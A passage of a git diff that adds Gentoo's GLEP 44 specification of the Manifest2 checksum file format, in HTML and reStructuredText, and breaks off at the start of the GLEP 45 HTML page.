+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference external" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0044.txt?cvsroot=gentoo">2009/01/11 19:40:56</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Marius Mauch &lt;genone&#32;&#97;t&#32;gentoo.org&gt;,</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Final</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference external" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">04-Dec-2005</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">06-Dec-2005, 23-Jan-2006, 3-Sep-2006</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic" id="contents">
+<p class="topic-title first">Contents</p>
+<ul class="simple">
+<li><a class="reference internal" href="#abstract" id="id9">Abstract</a></li>
+<li><a class="reference internal" href="#motivation" id="id10">Motivation</a></li>
+<li><a class="reference internal" href="#specification" id="id11">Specification</a><ul>
+<li><a class="reference internal" href="#compability-entries" id="id12">Compability Entries</a></li>
+<li><a class="reference internal" href="#scope" id="id13">Scope</a></li>
+<li><a class="reference internal" href="#number-of-hashes" id="id14">Number of hashes</a></li>
+</ul>
+</li>
+<li><a class="reference internal" href="#rationale" id="id15">Rationale</a><ul>
+<li><a class="reference internal" href="#removal-of-digest-files" id="id16">Removal of digest files</a></li>
+<li><a class="reference internal" href="#reducing-redundancy" id="id17">Reducing redundancy</a></li>
+<li><a class="reference internal" href="#removal-of-checksum-collisions" id="id18">Removal of checksum collisions</a></li>
+<li><a class="reference internal" href="#flexible-verification-system" id="id19">Flexible verification system</a></li>
+</ul>
+</li>
+<li><a class="reference internal" href="#backwards-compatibility" id="id20">Backwards Compatibility</a></li>
+<li><a class="reference internal" href="#other-problems" id="id21">Other problems</a><ul>
+<li><a class="reference internal" href="#impacts-on-infrastructure" id="id22">Impacts on infrastructure</a></li>
+</ul>
+</li>
+<li><a class="reference internal" href="#reference-implementation" id="id23">Reference Implementation</a></li>
+<li><a class="reference internal" href="#options" id="id24">Options</a></li>
+<li><a class="reference internal" href="#credits" id="id25">Credits</a></li>
+<li><a class="reference internal" href="#references" id="id26">References</a></li>
+<li><a class="reference internal" href="#copyright" id="id27">Copyright</a></li>
+</ul>
+</div>
+<div class="section" id="abstract">
+<h1><a class="toc-backref" href="#id9">Abstract</a></h1>
+<p>This GLEP proposes a new format for the Portage Manifest and digest file system
+by unifying both filetypes into one to improve functional and non-functional
+aspects of the Portage Tree.</p>
+</div>
+<div class="section" id="motivation">
+<h1><a class="toc-backref" href="#id10">Motivation</a></h1>
+<p>Please see <a class="footnote-reference" href="#reorg-thread" id="id1">[1]</a> for a general overview.
+The main long term goals of this proposal are to:</p>
+<ul class="simple">
+<li>Remove the tiny digest files from the tree. They are a major annoyance as on a
+typical configuration they waste a lot of disk space and the simple transmission
+of the names for all digest files during a <tt class="docutils literal">emerge <span class="pre">--sync</span></tt> needs a substantial
+amount of bandwidth.</li>
+<li>Reduce redundancy when multiple hash functions are used</li>
+<li>Remove potential for checksum collisions if a file is recorded in more than one
+digest file</li>
+<li>Difference between filetypes for a more flexible verification system</li>
+</ul>
+</div>
+<div class="section" id="specification">
+<h1><a class="toc-backref" href="#id11">Specification</a></h1>
+<p>The new Manifest format would change the existing format in the following ways:</p>
+<ul>
+<li><p class="first">Addition of a filetype specifier, currently planned are</p>
+<ul class="simple">
+<li><tt class="docutils literal">AUX</tt> for files directly used by ebuilds (e.g. patches or initscripts),
+located in the <tt class="docutils literal">files/</tt> subdirectory</li>
+<li><tt class="docutils literal">EBUILD</tt> for all ebuilds</li>
+<li><tt class="docutils literal">MISC</tt> for files not directly used by ebuilds like <tt class="docutils literal">ChangeLog</tt> or
+<tt class="docutils literal">metadata.xml</tt> files</li>
+<li><tt class="docutils literal">DIST</tt> for release tarballs recorded in the <tt class="docutils literal">SRC_URI</tt> variable of an ebuild,
+these were previously recorded in the digest files</li>
+</ul>
+<p>Future portage improvements might extend this list (for example with types
+relevant for eclasses or profiles)</p>
+</li>
+<li><p class="first">Only have one line per file listing all information instead of one line per
+file and checksum type</p>
+</li>
+<li><p class="first">Remove the separated digest-* files in the <tt class="docutils literal">files/</tt> subdirectory</p>
+</li>
+</ul>
+<p>Each line in the new format has the following format:</p>
+<pre class="literal-block">
+&lt;filetype&gt; &lt;filename&gt; &lt;filesize&gt; &lt;chksumtype1&gt; &lt;chksum1&gt; ... &lt;chksumtypen&gt; &lt;chksumn&gt;
+</pre>
+<p>However theses entries will be stored in the existing Manifest files.</p>
+<p>An <a class="reference external" href="glep-0044-extras/manifest2-example.txt">actual example</a> <a class="footnote-reference" href="#id7" id="id8">[6]</a> for a (pure) Manifest2 file..</p>
+<div class="section" id="compability-entries">
+<h2><a class="toc-backref" href="#id12">Compability Entries</a></h2>
+<p>To maintain compability with existing portage versions a transition period after
+is the introduction of the Manifest2 format is required during which portage
+will not only have to be capable of using existing Manifest and digest files but
+also generate them in addition to the new entries.
+Fortunately this can be accomplished by simply mixing old and new style entries
+in one file for the Manifest files, existing portage versions will simply ignore
+the new style entries. For the digest files there are no new entries to care
+about.</p>
+</div>
+<div class="section" id="scope">
+<h2><a class="toc-backref" href="#id13">Scope</a></h2>
+<p>It is important to note that this proposal only deals with a change of the
+format of the digest and Manifest system.</p>
+<p>It does not expand the scope of it to cover eclasses, profiles or anything
+else not already covered by the Manifest system, it also doesn't affect
+the Manifest signing efforts in any way (though the implementations of both
+might be coupled).</p>
+<p>Also while multiple hash functions will become standard with the proposed
+implementation they are not a specific feature of this format <a class="footnote-reference" href="#multi-hash-thread" id="id3">[2]</a>.</p>
+</div>
+<div class="section" id="number-of-hashes">
+<h2><a class="toc-backref" href="#id14">Number of hashes</a></h2>
+<p>While using multiple hashes for each file is a major feature of this proposal
+we have to make sure that the number of hashes listed is limited to avoid
+an explosion of the Manifest size that would revert the main benefit of this proposal
+(reduzing tree size). Therefore the number of hashes that will be generated
+will be limited to three different hash functions. For compability though we
+have to rely on at least one hash function to always be present, this proposal
+suggest to use SHA1 for this purpose (as it is supposed to be more secure than MD5
+and currently only SHA1 and MD5 are directly available in python, also MD5 doesn't
+have any benefit in terms of compability).</p>
+</div>
+</div>
+<div class="section" id="rationale">
+<h1><a class="toc-backref" href="#id15">Rationale</a></h1>
+<p>The main goals of the proposal have been listed in the <a class="reference internal" href="#motivation">Motivation</a>, here now
+the explanation why they are improvements and how the proposed format will
+accomplish them.</p>
+<div class="section" id="removal-of-digest-files">
+<h2><a class="toc-backref" href="#id16">Removal of digest files</a></h2>
+<p>Normal users that don't use a &quot;tuned&quot; filesystem for the portage tree are
+wasting several dozen to a few hundred megabytes of disk space with the current
+system, largely caused by the digest files.
+This is due to the filesystem overhead present in most filesystem that
+have a standard blocksize of four kilobytes while most digest files are under
+one kilobyte in size, so this results in approximately a waste of three kilobytes
+per digest file (likely even more). At the time of this writing the tree contains
+roughly 22.000 digest files, so the overall waste caused by digest files is
+estimated at about 70-100 megabytes.
+Furthermore it is assumed that this will also reduce the disk space wasted by
+the Manifest files as they now contain more content, but this hasn't been
+verified yet.</p>
+<p>By unifying the digest files with the Manifest these tiny files are eliminated
+(in the long run), reducing the apparent tree size by about 20%, benefitting
+both users and the Gentoo infrastructure.</p>
+</div>
+<div class="section" id="reducing-redundancy">
+<h2><a class="toc-backref" href="#id17">Reducing redundancy</a></h2>
+<p>When multiple hashes are used with the current system
+both the filename and filesize are repeated for every checksum type used as each
+checksum is standalone. However this doesn't add any functionality and is
+therefore useless, so the new format removes this redundancy.
+This is a theoretical improvement at this moment as only one hash function is in
+use, but expected to change soon (see <a class="footnote-reference" href="#multi-hash-thread" id="id4">[2]</a>).</p>
+</div>
+<div class="section" id="removal-of-checksum-collisions">
+<h2><a class="toc-backref" href="#id18">Removal of checksum collisions</a></h2>
+<p>The current system theoretically allows for a <tt class="docutils literal">DIST</tt> type file to be recorded
+in multiple digest files with different sizes and/or checksums. In such a case
+one version of a package would report a checksum violation while another one
+would not. This could create confusion and uncertainity among users.
+So far this case hasn't been observed, but it can't be ruled out with the
+existing system.
+As the new format lists each file exactly once this would be no longer possible.</p>
+</div>
+<div class="section" id="flexible-verification-system">
+<h2><a class="toc-backref" href="#id19">Flexible verification system</a></h2>
+<p>Right now portage verifies the checksum of every file listed in the Manifest
+before using any file of the package and all <tt class="docutils literal">DIST</tt> files of an ebuild
+before using that ebuild. This is unnecessary in many cases:</p>
+<ul class="simple">
+<li>During the &quot;depend&quot; phase (when the ebuild metadata is generated) only
+files of type <tt class="docutils literal">EBUILD</tt> are used, so verifying the other types isn't
+necessary. Theoretically it is possible for an ebuild to include other
+files like those of type <tt class="docutils literal">AUX</tt> at this phase, but that would be a
+major QA violation and should never occur, so it can be ignored here.
+It is also not a security concern as the ebuild is verified before parsing
+it, so each manipulation would show up.</li>
+<li>Generally files of type <tt class="docutils literal">MISC</tt> don't need to be verified as they are
+only used in very specific situations, aren't executed (just parsed at most)
+and don't affect the package build process.</li>
+<li>Files of type <tt class="docutils literal">DIST</tt> only need to be verified directly after fetching and
+before unpacking them (which often will be one step), not every time their
+associated ebuild is used.</li>
+</ul>
+</div>
+</div>
+<div class="section" id="backwards-compatibility">
+<h1><a class="toc-backref" href="#id20">Backwards Compatibility</a></h1>
+<p>Switching the Manifest system is a task that will need a long transition period
+like most changes affecting both portage and the tree. In this case the
+implementation will be rolled out in several phases:</p>
+<ol class="arabic simple">
+<li>Add support for verification of Manifest2 entries in portage</li>
+<li>Enable generation of Manifest2 entries in addition to the current system</li>
+<li>Ignore digests during <tt class="docutils literal">emerge <span class="pre">--sync</span></tt> to get the size-benefit clientside.
+This step may be ommitted if the following steps are expected to follow soon.</li>
+<li>Disable generation of entries for the current system</li>
+<li>Remove all traces of the current system from the tree (serverside)</li>
+</ol>
+<p>Each step has its own issues. While 1) and 2) can be implemented without any
+compability problems all later steps have a major impact:</p>
+<ul class="simple">
+<li>Step 3) can only be implemented when the whole tree is Manifest2 ready
+(ideally speaking, practically the requirement will be more like 95% coverage
+with the expectation that for the remaining 5% either bugs will be filed after
+step 3) is completed or they'll be updated at step 5).</li>
+<li>Steps 4) and 5) will render all portage versions without Manifest2 support
+basically useless (users would have to regenerate the digest and Manifest
+for each package before being able to merge it), so this requires a almost
+100% coverage of the userbase with Manifest2 capabale portage versions
+(with step 1) completely implemented).</li>
+</ul>
+<p>Another problem is that some steps affect different targets:</p>
+<ul class="simple">
+<li>Steps 1) and 3) target portage versions used by users</li>
+<li>Steps 2) and 4) target portage versions used by devs</li>
+<li>Step 5) targets the portage tree on the cvs server</li>
+</ul>
+<p>While it is relatively easy to get all devs to use a new portage version this is
+practically impossible with users as some don't update their systems regulary.
+While six months are probably sufficient to reach a 95% coverage one year is
+estimated to reach an almost-complete coverage. All times are relative to the
+stable-marking of a compatible portage version.</p>
+<p>No timeframe for implementation is presented here as it is highly dependent
+on the completion of each step.</p>
+<p>In summary it can be said that while a full conversion will take over a year
+to be completed due to compability issues mentioned above some benefits of the
+system can selectively be used as soon as step 2) is completed.</p>
+</div>
+<div class="section" id="other-problems">
+<h1><a class="toc-backref" href="#id21">Other problems</a></h1>
+<div class="section" id="impacts-on-infrastructure">
+<h2><a class="toc-backref" href="#id22">Impacts on infrastructure</a></h2>
+<p>While one long term goal of this proposal is to reduce the size of the tree
+and therefore make life for the Gentoo Infrastructure easier this will only
+take effect once the implementation is rolled out completely. In the meantime
+however it will increase the tree size due to keeping checksums in both formats.
+It's not possible to give a usable estimate on the degree of the increase as
+it depends on many variables such as the exact implementation timeframe,
+propagation of Manifest2 capable portage versions among devs or the update
+rate of the tree. It has been suggested that Manifest files that are not gpg
+signed could be mass converted in one step, this could certainly help but only
+to some degree (according to a recent research <a class="footnote-reference" href="#gpg-numbers" id="id5">[3]</a> about 40% of
+all Manifests in the tree are signed, but this number hasn't been verified).</p>
+</div>
+</div>
+<div class="section" id="reference-implementation">
+<h1><a class="toc-backref" href="#id23">Reference Implementation</a></h1>
+<p>A patch for a prototype implementation of Manifest2 verification and partial
+generation has been posted at <a class="footnote-reference" href="#manifest2-patch" id="id6">[4]</a>, it will be reworked before
+being considered for inclusion in portage. However it shows that adding support
+for verification is quite simple, but generation is a bit tricky and will
+therefore be implemented later.</p>
+</div>
+<div class="section" id="options">
+<h1><a class="toc-backref" href="#id24">Options</a></h1>
+<p>Some things have been considered for this GLEP but aren't part of the proposal
+yet for various reasons:</p>
+<ul class="simple">
+<li>timestamp field: the author has considered adding a timestamp field for
+each entry to list the time the entry was created. However so far no practical
+use for such a feature has been found.</li>
+<li>convert size field into checksum: Another idea was to treat the size field
+like any other checksum. But so far no real benefit (other than a slightly
+more modular implementation) for this has been seen while it has several
+drawbacks: For once, unlike checksums, the size field is definitely required
+for all <tt class="docutils literal">DIST</tt> files, also it would slightly increase the length of
+each entry by adding a <tt class="docutils literal">SIZE</tt> keyword.</li>
+<li>removal of the <tt class="docutils literal">MISC</tt> type: It has been suggested to completely drop
+entries of type <tt class="docutils literal">MISC</tt>. This would result in a minor space reduction
+(its rather unlikely to free any blocks) but completely remove the ability
+to check these files for integrity. While they don't influence portage
+or packages directly they can contain viable information for users, so
+the author has the opinion that at least the option for integrity checks
+should be kept.</li>
+</ul>
+</div>
+<div class="section" id="credits">
+<h1><a class="toc-backref" href="#id25">Credits</a></h1>
+<p>Thanks to the following persons for their input on or related to this GLEP
+(even though they might not have known it):
+Ned Ludd (solar), Brian Harring (ferringb), Jason Stubbs (jstubbs),
+Robin H. Johnson (robbat2), Aron Griffis (agriffis)</p>
+<p>Also thanks to Nicholas Jones (carpaski) to make the current Manifest system
+resistent enough to be able to handle this change without too many transition
+problems.</p>
+</div>
+<div class="section" id="references">
+<h1><a class="toc-backref" href="#id26">References</a></h1>
+<table class="docutils footnote" frame="void" id="reorg-thread" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id1">[1]</a></td><td><a class="reference external" href="http://thread.gmane.org/gmane.linux.gentoo.devel/21920">http://thread.gmane.org/gmane.linux.gentoo.devel/21920</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="multi-hash-thread" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label">[2]</td><td><em>(<a class="fn-backref" href="#id3">1</a>, <a class="fn-backref" href="#id4">2</a>)</em> <a class="reference external" href="http://thread.gmane.org/gmane.linux.gentoo.devel/33434">http://thread.gmane.org/gmane.linux.gentoo.devel/33434</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="gpg-numbers" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id5">[3]</a></td><td>gentoo-core mailing list, topic &quot;Gentoo key signing practices
+and official Gentoo keyring&quot;, Message-ID &lt;<a class="reference external" href="mailto:20051117075838.GB15734&#64;curie-int.vc.shawcable.net">20051117075838.GB15734&#64;curie-int.vc.shawcable.net</a>&gt;</td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="manifest2-patch" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id6">[4]</a></td><td><a class="reference external" href="http://thread.gmane.org/gmane.linux.gentoo.portage.devel/1374">http://thread.gmane.org/gmane.linux.gentoo.portage.devel/1374</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="manifest2-example" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label">[5]</td><td><a class="reference external" href="http://www.gentoo.org/proj/en/glep/glep-0044-extras/manifest2-example">http://www.gentoo.org/proj/en/glep/glep-0044-extras/manifest2-example</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id7" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id8">[6]</a></td><td><a class="reference external" href="glep-0044-extras/manifest2-example.txt">glep-0044-extras/manifest2-example.txt</a></td></tr>
+</tbody>
+</table>
+</div>
+<div class="section" id="copyright">
+<h1><a class="toc-backref" href="#id27">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference external" href="glep-0044.txt">View document source</a>.
+Generated on: 2010-04-07 22:08 UTC.
+Generated by <a class="reference external" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference external" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
diff --git a/xml/htdocs/proj/en/glep/glep-0044.txt b/xml/htdocs/proj/en/glep/glep-0044.txt
new file mode 100644
index 00000000..6b49d516
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0044.txt
@@ -0,0 +1,326 @@
+GLEP: 44
+Title: Manifest2 format
+Version: $Revision: 1.8 $
+Last-Modified: $Date: 2009/01/11 19:40:56 $
+Author:	Marius Mauch <genone@gentoo.org>,
+Status: Final
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 04-Dec-2005
+Post-History: 06-Dec-2005, 23-Jan-2006, 3-Sep-2006
+
+
+Abstract
+========
+
+This GLEP proposes a new format for the Portage Manifest and digest file system
+by unifying both filetypes into one to improve functional and non-functional
+aspects of the Portage Tree.
+
+
+Motivation
+==========
+
+Please see [#reorg-thread]_ for a general overview.
+The main long term goals of this proposal are to:
+
+- Remove the tiny digest files from the tree. They are a major annoyance as on a
+  typical configuration they waste a lot of disk space and the simple transmission
+  of the names for all digest files during a ``emerge --sync`` needs a substantial
+  amount of bandwidth.
+- Reduce redundancy when multiple hash functions are used
+- Remove potential for checksum collisions if a file is recorded in more than one
+  digest file
+- Difference between filetypes for a more flexible verification system
+
+
+Specification
+=============
+
+The new Manifest format would change the existing format in the following ways:
+
+- Addition of a filetype specifier, currently planned are
+
+  * ``AUX`` for files directly used by ebuilds (e.g. patches or initscripts),
+    located in the ``files/`` subdirectory
+
+  * ``EBUILD`` for all ebuilds
+
+  * ``MISC`` for files not directly used by ebuilds like ``ChangeLog`` or
+    ``metadata.xml`` files
+
+  * ``DIST`` for release tarballs recorded in the ``SRC_URI`` variable of an ebuild,
+    these were previously recorded in the digest files
+
+  Future portage improvements might extend this list (for example with types 
+  relevant for eclasses or profiles)
+
+- Only have one line per file listing all information instead of one line per 
+  file and checksum type
+
+- Remove the separated digest-* files in the ``files/`` subdirectory
+
+Each line in the new format has the following format:
+
+::
+
+	<filetype> <filename> <filesize> <chksumtype1> <chksum1> ... <chksumtypen> <chksumn>
+
+
+However theses entries will be stored in the existing Manifest files.
+
+An `actual example`__ for a (pure) Manifest2 file..
+
+.. __: glep-0044-extras/manifest2-example.txt
+
+
+Compability Entries
+-------------------
+
+To maintain compability with existing portage versions a transition period after
+is the introduction of the Manifest2 format is required during which portage 
+will not only have to be capable of using existing Manifest and digest files but
+also generate them in addition to the new entries.
+Fortunately this can be accomplished by simply mixing old and new style entries
+in one file for the Manifest files, existing portage versions will simply ignore
+the new style entries. For the digest files there are no new entries to care 
+about.
+
+Scope
+-----
+
+It is important to note that this proposal only deals with a change of the 
+format of the digest and Manifest system.  
+
+It does not expand the scope of it to cover eclasses, profiles or anything
+else not already covered by the Manifest system, it also doesn't affect
+the Manifest signing efforts in any way (though the implementations of both
+might be coupled).  
+
+Also while multiple hash functions will become standard with the proposed
+implementation they are not a specific feature of this format [#multi-hash-thread]_.
+
+Number of hashes
+----------------
+
+While using multiple hashes for each file is a major feature of this proposal
+we have to make sure that the number of hashes listed is limited to avoid
+an explosion of the Manifest size that would revert the main benefit of this proposal
+(reduzing tree size). Therefore the number of hashes that will be generated
+will be limited to three different hash functions. For compability though we 
+have to rely on at least one hash function to always be present, this proposal
+suggest to use SHA1 for this purpose (as it is supposed to be more secure than MD5
+and currently only SHA1 and MD5 are directly available in python, also MD5 doesn't
+have any benefit in terms of compability).
+
+Rationale
+=========
+
+The main goals of the proposal have been listed in the `Motivation`_, here now 
+the explanation why they are improvements and how the proposed format will 
+accomplish them.
+
+Removal of digest files
+-----------------------
+
+Normal users that don't use a "tuned" filesystem for the portage tree are 
+wasting several dozen to a few hundred megabytes of disk space with the current
+system, largely caused by the digest files. 
+This is due to the filesystem overhead present in most filesystem that 
+have a standard blocksize of four kilobytes while most digest files are under 
+one kilobyte in size, so this results in approximately a waste of three kilobytes
+per digest file (likely even more). At the time of this writing the tree contains
+roughly 22.000 digest files, so the overall waste caused by digest files is
+estimated at about 70-100 megabytes.
+Furthermore it is assumed that this will also reduce the disk space wasted by 
+the Manifest files as they now contain more content, but this hasn't been 
+verified yet.
+
+By unifying the digest files with the Manifest these tiny files are eliminated
+(in the long run), reducing the apparent tree size by about 20%, benefitting 
+both users and the Gentoo infrastructure.
+
+Reducing redundancy
+-------------------
+
+When multiple hashes are used with the current system 
+both the filename and filesize are repeated for every checksum type used as each
+checksum is standalone. However this doesn't add any functionality and is 
+therefore useless, so the new format removes this redundancy.
+This is a theoretical improvement at this moment as only one hash function is in 
+use, but expected to change soon (see [#multi-hash-thread]_).
+
+Removal of checksum collisions
+------------------------------
+
+The current system theoretically allows for a ``DIST`` type file to be recorded 
+in multiple digest files with different sizes and/or checksums. In such a case
+one version of a package would report a checksum violation while another one 
+would not. This could create confusion and uncertainity among users.
+So far this case hasn't been observed, but it can't be ruled out with the 
+existing system.
+As the new format lists each file exactly once this would be no longer possible.
+
+Flexible verification system
+----------------------------
+
+Right now portage verifies the checksum of every file listed in the Manifest
+before using any file of the package and all ``DIST`` files of an ebuild 
+before using that ebuild. This is unnecessary in many cases:
+
+- During the "depend" phase (when the ebuild metadata is generated) only 
+  files of type ``EBUILD`` are used, so verifying the other types isn't
+  necessary. Theoretically it is possible for an ebuild to include other
+  files like those of type ``AUX`` at this phase, but that would be a
+  major QA violation and should never occur, so it can be ignored here.
+  It is also not a security concern as the ebuild is verified before parsing
+  it, so each manipulation would show up.
+
+- Generally files of type ``MISC`` don't need to be verified as they are 
+  only used in very specific situations, aren't executed (just parsed at most)
+  and don't affect the package build process.
+
+- Files of type ``DIST`` only need to be verified directly after fetching and
+  before unpacking them (which often will be one step), not every time their 
+  associated ebuild is used.
+
+
+Backwards Compatibility
+=======================
+
+Switching the Manifest system is a task that will need a long transition period 
+like most changes affecting both portage and the tree. In this case the 
+implementation will be rolled out in several phases:
+
+1. Add support for verification of Manifest2 entries in portage
+
+2. Enable generation of Manifest2 entries in addition to the current system
+
+3. Ignore digests during ``emerge --sync`` to get the size-benefit clientside. 
+   This step may be ommitted if the following steps are expected to follow soon.
+
+4. Disable generation of entries for the current system
+
+5. Remove all traces of the current system from the tree (serverside)
+
+Each step has its own issues. While 1) and 2) can be implemented without any 
+compability problems all later steps have a major impact:
+
+- Step 3) can only be implemented when the whole tree is Manifest2 ready 
+  (ideally speaking, practically the requirement will be more like 95% coverage
+  with the expectation that for the remaining 5% either bugs will be filed after 
+  step 3) is completed or they'll be updated at step 5).
+
+- Steps 4) and 5) will render all portage versions without Manifest2 support 
+  basically useless (users would have to regenerate the digest and Manifest 
+  for each package before being able to merge it), so this requires a almost
+  100% coverage of the userbase with Manifest2 capabale portage versions 
+  (with step 1) completely implemented).
+
+Another problem is that some steps affect different targets:
+
+- Steps 1) and 3) target portage versions used by users
+
+- Steps 2) and 4) target portage versions used by devs
+
+- Step 5) targets the portage tree on the cvs server
+
+While it is relatively easy to get all devs to use a new portage version this is 
+practically impossible with users as some don't update their systems regulary.
+While six months are probably sufficient to reach a 95% coverage one year is 
+estimated to reach an almost-complete coverage. All times are relative to the
+stable-marking of a compatible portage version.
+
+No timeframe for implementation is presented here as it is highly dependent
+on the completion of each step.
+
+In summary it can be said that while a full conversion will take over a year
+to be completed due to compability issues mentioned above some benefits of the 
+system can selectively be used as soon as step 2) is completed.
+
+
+Other problems
+==============
+
+Impacts on infrastructure
+-------------------------
+
+While one long term goal of this proposal is to reduce the size of the tree
+and therefore make life for the Gentoo Infrastructure easier this will only 
+take effect once the implementation is rolled out completely. In the meantime 
+however it will increase the tree size due to keeping checksums in both formats.
+It's not possible to give a usable estimate on the degree of the increase as 
+it depends on many variables such as the exact implementation timeframe, 
+propagation of Manifest2 capable portage versions among devs or the update 
+rate of the tree. It has been suggested that Manifest files that are not gpg 
+signed could be mass converted in one step, this could certainly help but only 
+to some degree (according to a recent research [#gpg-numbers]_ about 40% of 
+all Manifests in the tree are signed, but this number hasn't been verified).
+
+
+Reference Implementation
+========================
+
+A patch for a prototype implementation of Manifest2 verification and partial 
+generation has been posted at [#manifest2-patch]_, it will be reworked before
+being considered for inclusion in portage. However it shows that adding support 
+for verification is quite simple, but generation is a bit tricky and will 
+therefore be implemented later.
+
+
+Options
+=======
+
+Some things have been considered for this GLEP but aren't part of the proposal 
+yet for various reasons:
+
+- timestamp field: the author has considered adding a timestamp field for 
+  each entry to list the time the entry was created. However so far no practical
+  use for such a feature has been found.
+
+- convert size field into checksum: Another idea was to treat the size field
+  like any other checksum. But so far no real benefit (other than a slightly 
+  more modular implementation) for this has been seen while it has several 
+  drawbacks: For once, unlike checksums, the size field is definitely required
+  for all ``DIST`` files, also it would slightly increase the length of 
+  each entry by adding a ``SIZE`` keyword.
+
+- removal of the ``MISC`` type: It has been suggested to completely drop
+  entries of type ``MISC``. This would result in a minor space reduction
+  (its rather unlikely to free any blocks) but completely remove the ability
+  to check these files for integrity. While they don't influence portage 
+  or packages directly they can contain viable information for users, so
+  the author has the opinion that at least the option for integrity checks 
+  should be kept.
+
+Credits
+=======
+
+Thanks to the following persons for their input on or related to this GLEP
+(even though they might not have known it):
+Ned Ludd (solar), Brian Harring (ferringb), Jason Stubbs (jstubbs),
+Robin H. Johnson (robbat2), Aron Griffis (agriffis)
+
+Also thanks to Nicholas Jones (carpaski) to make the current Manifest system 
+resistent enough to be able to handle this change without too many transition
+problems.
+
+References
+==========
+
+.. [#reorg-thread] http://thread.gmane.org/gmane.linux.gentoo.devel/21920
+
+.. [#multi-hash-thread] http://thread.gmane.org/gmane.linux.gentoo.devel/33434
+
+.. [#gpg-numbers] gentoo-core mailing list, topic "Gentoo key signing practices
+   and official Gentoo keyring", Message-ID <20051117075838.GB15734@curie-int.vc.shawcable.net>
+
+.. [#manifest2-patch] http://thread.gmane.org/gmane.linux.gentoo.portage.devel/1374
+
+.. [#manifest2-example] http://www.gentoo.org/proj/en/glep/glep-0044-extras/manifest2-example
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
diff --git a/xml/htdocs/proj/en/glep/glep-0045.html b/xml/htdocs/proj/en/glep/glep-0045.html
new file mode 100644
index 00000000..c9ed05fa
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0045.html
@@ -0,0 +1,112 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 45 -- GLEP date format</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0045.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">45</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">GLEP date format</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.1</td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Henrik Brix Andersen &lt;brix&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0045.txt?cvsroot=gentoo">2005/12/13 22:42:27</a></td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Draft</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">13-Dec-2005</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">13-Dec-2005</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
